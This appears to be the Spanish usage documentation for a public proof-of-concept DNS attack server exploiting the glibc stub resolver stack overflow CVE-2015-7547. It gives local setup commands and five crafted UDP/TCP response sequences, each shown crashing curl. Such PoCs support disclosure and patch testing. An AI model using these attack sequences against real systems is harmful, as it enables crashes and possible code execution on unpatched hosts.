
Servidor de ataque PoC para la vulnerabilidad de desbordamiento de búfer CVE-2015-7547 en el DNS stub resolver de glibc (versión pública)
Para probar en la máquina local con una versión vulnerable de glibc:
user@localhost:/$ echo 'nameserver 127.0.0.127' | sudo tee /etc/resolv.conf
user@localhost:/$ echo 'nameserver 127.0.0.127' | sudo tee -a /etc/resolv.conf
user@localhost:/$ sudo python3 attack-server.py 127.0.0.127
Starting UDP server on 127.0.0.127:53...
Starting TCP server on 127.0.0.127:53...
Luego, desde otra sesión de terminal, ejecute los ataques como se muestra en los ejemplos a continuación.
Requiere capacidad de enviar respuestas de más de 2048 bytes por UDP y TCP.
Secuencia del ataque:
Respuesta UDP, > 2048 bytes, cabecera/pregunta válida, flag TC establecido (desencadena mala gestión del búfer y reintento TCP)
Respuesta TCP, cabecera/pregunta válida (fuerza que la siguiente respuesta se almacene en un búfer asignado en la pila)
Respuesta TCP, > 2048 bytes (desborda el búfer asignado en la pila)
Ejemplo:
user@localhost:/$ curl http://attack1
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
Requiere capacidad de enviar respuestas de más de 2048 bytes por UDP.
Secuencia del ataque:
Respuesta UDP, > 2048 bytes, cabecera inválida (desencadena mala gestión del búfer, no se cuenta como respuesta válida)
Ignorar la siguiente solicitud (desencadena reintento UDP por tiempo de espera de sondeo)
Respuesta UDP, cabecera/pregunta válida (fuerza que la siguiente respuesta se almacene en un búfer asignado en la pila)
Respuesta UDP, > 2048 bytes (desborda el búfer asignado en la pila)
Ejemplo:
user@localhost:/$ curl http://attack2
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
Requiere capacidad de enviar respuestas de más de 1024 bytes por UDP y más de 2048 bytes por TCP.
Secuencia del ataque:
Respuesta UDP, 1024 bytes, cabecera/pregunta válida (llena la mitad del búfer asignado en la pila)
Respuesta UDP, > 1024 bytes, cabecera/pregunta válida, flag TC establecido (desencadena mala gestión del búfer y reintento TCP)
Respuesta TCP, cabecera/pregunta válida (fuerza que la siguiente respuesta se almacene en un búfer asignado en la pila)
Respuesta TCP, > 2048 bytes (desborda el búfer asignado en la pila)
Ejemplo:
user@localhost:/$ curl http://attack3
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
Requiere capacidad de enviar respuestas de más de 2048 bytes por UDP.
Secuencia del ataque:
Respuesta UDP, 2048 bytes, cabecera/pregunta válida (llena el búfer asignado en la pila)
Respuesta UDP (desencadena mala gestión del búfer y reintento UDP por recepción de socket de 0 bytes)
Respuesta UDP, cabecera/pregunta válida (fuerza que la siguiente respuesta se almacene en un búfer asignado en la pila)
Respuesta UDP, > 2048 bytes (desborda el búfer asignado en la pila)
Ejemplo:
user@localhost:/$ curl http://attack4
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
Requiere capacidad de enviar respuestas de más de 2048 bytes por TCP y al menos dos entradas de servidor de nombres en /etc/resolv.conf.
Secuencia del ataque:
Respuesta UDP, cabecera/pregunta válida, flag TC establecido (opcional, desencadena reintento TCP si la consulta inicial es por UDP)
Respuesta TCP, > 2048 bytes (desencadena mala gestión del búfer)
Respuesta TCP, vacía (desencadena reintento TCP por recepción de socket de 0 bytes)
Respuesta TCP, cabecera/pregunta válida (fuerza que la siguiente respuesta se almacene en un búfer asignado en la pila)
Respuesta TCP, > 2048 bytes (desborda el búfer asignado en la pila)
Ejemplo:
user@localhost:/$ curl http://attack5
*** stack smashing detected ***: curl terminated
Segmentation fault (core dumped)
Para desencadenar una respuesta tipo A/AAAA válida de un tamaño determinado desde el servidor, envíe una solicitud para uno de los siguientes:
Las solicitudes se pueden realizar por UDP o TCP, y las respuestas contendrán el número apropiado de respuestas A o AAAA válidas para rellenar la respuesta hasta el tamaño solicitado. Cuando el servidor PoC está configurado como el servidor de nombres autoritativo para un dominio de prueba, esto permite explorar el comportamiento de las jerarquías de caché DNS cuando se enfrentan a respuestas sobredimensionadas.
Ejemplo:
user@localhost:/$ curl http://payload1.somedomain.com